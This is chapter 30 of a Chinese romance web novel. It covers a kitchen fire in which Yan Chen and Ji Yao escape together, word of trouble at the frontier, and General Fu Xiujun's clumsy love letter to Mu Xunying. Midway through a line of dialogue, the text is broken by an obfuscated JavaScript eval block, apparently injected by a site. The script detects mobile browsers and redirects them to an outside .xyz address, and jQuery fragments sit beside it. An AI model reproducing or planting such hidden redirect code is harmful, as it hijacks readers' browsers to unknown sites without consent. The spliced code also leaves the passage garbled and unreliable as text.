30. 来信

作品:《恶毒女配摆烂后

    见季瑶迟迟没有拿外衫回来,晏琛心中隐隐生出一丝不安。


    他修长的手指无意识地摩挲着茶杯边缘,目光时不时瞥向门外,眉头微蹙。


    邱云也察觉到了异样,轻声嗔怪道:“瑶儿这丫头,怎么拿个东西都不利索?平日里可不是这样的。”


    话音未落,一名丫鬟慌慌张张地跑了进来,脸色苍白,气喘吁吁地喊道:“不好了,夫人!膳房着火了,小姐方才去了膳房,现在被困在里面了!”


    “什么?!”邱云猛地站起身,手中的茶杯“啪”地一声落在桌上,茶水溅了一桌。


    晏琛来不及多想,转身便朝门外冲去。


    火?又是火?剧情明明已经过去了,怎么还会发生?


    季瑶绝不能有事。


    膳房内,火光冲天,火舌肆意舔舐着周围的木梁,发出噼里啪啦的爆裂声。


    季瑶被浓烟呛得连连咳嗽,眼睛被熏得几乎睁不开,“咳咳咳。不是,我季瑶怎么那么倒霉啊?”


    下人们慌乱地提着水桶来回奔跑,却无法阻挡火势的蔓延。


    晏琛冲到膳房门口,却被炽热的火焰逼得后退几步。


    可是眼前浓烟滚滚,什么也看不见。


    他毫不犹豫地冲进了火海,身后的下人们惊慌失措地喊道:“欸,晏世子!火势太大了,您不能进去!”


    话音还未落下,晏琛的身影早已消失在浓烟与火光之中。


    他冲进膳房,浓烟呛得他几乎睁不开眼,火焰在四周肆虐,木梁发出不堪重负的呻吟声。


    他环顾四周,焦急地喊道:“季瑶?季瑶!”回应他的只有木料断裂的噼啪声。


    他的心猛地一沉。


    门口的火势已经将退路封死,炽热的温度逼得他连连后退。


    他捂住口鼻,强忍着浓烟的刺激,“季瑶?你人在哪?咳咳咳。”


    一道熟悉的声音从身后传来:“你别叫啦!快出来!”


    晏琛回头,只见季瑶从侧窗翻进来,脸上沾满了烟灰,她快步跑到他面前,一把抓住他的手腕,语气急促:“赶紧走啊,叫你你也听不见,留在膳房是想烧死自己吗?”


    他愣了一瞬,低头看向她握着自己手腕的手,掌心传来的温度比周围的火焰还要炽热。


    他的心跳骤然加快,手腕处的触感让他整个人都僵住了。


    “还愣着干什么?快走!”季瑶见他发呆,忍不住用力拉了他一把。


    晏琛这才回过神来,反手握住她的手,低声道:“好。”


    两人迅速从侧窗翻出,身后的膳房的房梁在火焰中轰然倒塌,火星四溅。


    他们跌坐在地上,大口喘着气。


    季瑶抬头看向晏琛,“你疯了吗?火那么大,你还往里冲!”


    晏琛没有反驳,只是静静地看着她。


    季瑶自顾自地说起来,“晏琛我真觉得你应该去看病了,晏王府的太医个个医术精湛,真该治治你的脑子了。不然你怎么怎么想着往火场里冲……”


    她一边说,一边拍了拍裙摆上的灰尘。


    晏琛的目光始终落在她身上,深邃的眼眸中映着她的身影,周围的一切都成了模糊的背景,只有她的身影清晰而鲜明。


    火光在她身后跳跃,映照在她的侧脸上,勾勒出柔和的轮廓,她的发丝有些凌乱,脸颊上还沾着些许烟灰,他的心跳得很快。


    他的喉结微微滚动,压抑着情绪在胸腔中翻涌,“你怎么逃出来的?”


    季瑶瞥了他一眼,“你笨啊,当然也是从侧窗爬出来的啊。丫鬟说膳房里做好了东西,我就来了,没想到突然起这么大的火。”她一脸平淡,像是再说件微不足道的小事。


    晏琛看着她,忽然像是想明白了什么,嘴角微微扬起,露出一抹意味深长的笑。


    季瑶被他笑得有些发毛,忍不住皱眉:“你笑什么?”


    晏琛摇了摇头,语气轻描淡写:“没什么,只是在想,刚才如果我真的命丧火海,你会不会难过?”


    季瑶连半分犹豫都没有,脆生生地吐出两个字:“不会。”


    晏琛:我不信。


    “我若当真去了,撇下你一人,依着这世俗规矩,你可就成了未亡人,往后都得顶着‘寡妇’的名头过日子了。”


    这话一出口,季瑶只觉一股无名火“噌”地一下从心底冒起,“你若不在了,本小姐难道还能在你这一棵树上吊死?这世间好男儿多如过江之鲫,随便寻一个,也比你这整日油嘴滑舌的强。”


    “那这么说来,你这是默认自己是我明媒正娶的娘子了?”


    “你…你胡说什么?谁承认了。”


    一阵急促的脚步声从远及近,打破了两人之间的氛围。


    侍卫小跑着来到晏琛身旁,微微俯身,压低声音,急切地禀报道:“世子殿下,二……”


    晏琛便抬手制止了他,目光依旧落在季瑶身上,语气温和,“你今晚可以留宿在季府,我明日派人来接你。”


    说完,他转身朝侍卫走去,脸上的笑意瞬间收敛,取而代之的是一片冷峻。


    走远了几步,晏琛才低声开口,语气里带着几分警告:“以后不要在世子妃面前提及二皇子。”


    侍卫连忙低头应道:“是,属下明白。”


    “说吧,什么事。”


    侍卫压低声音,语气凝重:“二皇子托信来说,边关征战遇到麻烦了。粮草供应不足,敌军又突然增兵,形势极为不利。”


    晏琛闻言,眉头紧锁,眼中闪过一丝冷意。


    瑞锦堂。


    慕荀莹刚将物件收拾妥当,正低头擦拭花瓶上的灰尘,忽听得门外传来一阵脚步声,紧接着是春儿熟悉的声音:“小姐,我回来了!”


    她闻声抬头,眼中顿时一亮,“春儿,你终于回来了!家里的事都处理好了?”


    春儿推门而入,快步走到慕荀莹面前,“小姐,家里的事都忙完了,我一刻也不敢耽搁,立马就赶回来了。”


    “你这丫头,这么急匆匆的。家里的事要紧,你多待几日也无妨,何必这么赶?”


    春儿摇摇头,语气坚定:“小姐身边不能没人伺候,我放心不下。”


    慕荀莹轻笑,握住春儿的手。


    门前,马蹄声由远及近,一名身穿灰褐色短打的信使翻身下马,手中紧紧攥着一封书信。


    他快步走到瑞锦堂门前,抬手敲了敲门。


    “叩叩叩——”


    门内传来一阵细碎的脚步声,春儿探出头来,“谁啊?”


    信使微微躬身,语气恭敬:“在下是扶修筠扶大将军派来的信使,特来送信给瑞锦堂的慕荀莹小姐,还请通报一声。”


    慕荀莹寻声赶来,接过信使手中的书信,指尖触到那冰凉的封皮,心中涌起一股冷意。


    “好端端的寄什么信啊。”


    她回过神来,转头看向信使,语气温和:“辛苦你了,这么远的路,快


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060504|161784||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    进来喝杯热茶暖暖身子吧。”


    信使摇头,“多谢小姐好意,小的还要赶回去复命,就不多留了。”


    慕荀莹也不强求,吩咐春儿取来一些银两递给信使:“路上小心,替我向扶将军问好。”


    信使接过银两,躬身行礼:“小的一定带到。”说完,他翻身上马,身影很快消失在人群中。


    慕荀莹握着书信,心中的不安如涟漪般层层扩散。


    扶修筠向来沉稳,若非事态紧急,怎么会突然送信?


    她稳住心神,展开了信。


    夜色正浓,星辰隐匿,冷月高悬。


    战场上,硝烟尚且散尽,残破的旗帜在风中无力地摇曳。


    两军交战已停,士兵们在营帐中休憩,四周一片死寂,偶尔传来马的嘶声。


    扶修筠坐在军帐中,帐内烛火摇曳,映照出他冷峻的面容。


    他的卸下甲胄,简单包扎肩头的伤口后,拿起铺在案几上的一张素白信纸,手中握着笔,笔尖悬在纸上,迟迟未落。


    终于,他低下头,笔尖落在纸上,墨迹晕开。


    “荀莹:


    见字如晤。


    边关风急,战事未了。


    今日一战,险象环生,幸得将士同心,方能化险为夷。


    …


    “‘自别后,日夜思卿。’”他低声念了一遍,随即摇了摇头,抬手用力抹了把脸,喃喃自语道:“不妥,不妥,这般直白,她见了,怕是要觉得我行事孟浪,像登徒子一般。”


    长叹一声,他将笔搁在砚台上,身子往后靠去,目光茫然地扫过帐顶。


    烛火晃动,映得他的侧脸忽明忽暗。


    片刻的怔愣之后,扶修筠又猛地坐直身子,骨节分明的手再次提起笔,在纸上落下一行工整的字迹:“今相隔千里,音信难通,唯愿此信能达卿手。”


    写完,他目光凝滞,久久地盯着那行字,眉头非但没有舒展,反而皱得更深了。


    “还是不行,”他低声嘟囔着,“言辞会不会太平淡了,不能表达出我深厚的情感。”


    他抬手轻轻揉了揉太阳穴,“真是比打仗还难。”


    最终,他深吸一口气,重新提笔,笔尖在纸上缓缓滑动。


    慕荀莹低头看着手中的信,轻声念道:“‘望卿珍重,勿以吾为念。’”


    念完,她忍不住撇了撇嘴,“他倒是想得美,我天天这么忙,哪有时间会想到他?”能不能别这么自恋。


    一旁的春儿听得眼睛发亮,兴奋地凑近问道:“还有呢?小姐,信上还写了什么?”


    慕荀莹扫了一眼信纸,嘴角微微抽搐,“还有最后一句,他说……打完仗,教我驭马执刀之术。”


    春儿一愣,脸上的笑容瞬间僵住,眨了眨眼,有些不确定地问道:“啊?真的?”


    慕荀莹将信纸递到她面前,指了指最后一行字,语气里带着几分调侃:“喏,你自己看,这最后一句‘待战事平定,吾必归去,教你驭马执刀杀敌。’”


    春儿凑过去仔细看了看,确认无误后,忍不住咽了咽口水,表情复杂,这扶大将军……是不是有点太无趣了?


    此时的扶修筠坐在马上,指尖摩挲着刀身,目光有些游离。


    脑海中不断回想着写的那封信,信中的每一字每一句,都在他心中反复回荡。


    他心中泛起一阵涟漪。


    在生死界限模糊的战场上,教你驭马执刀是我最大的爱意。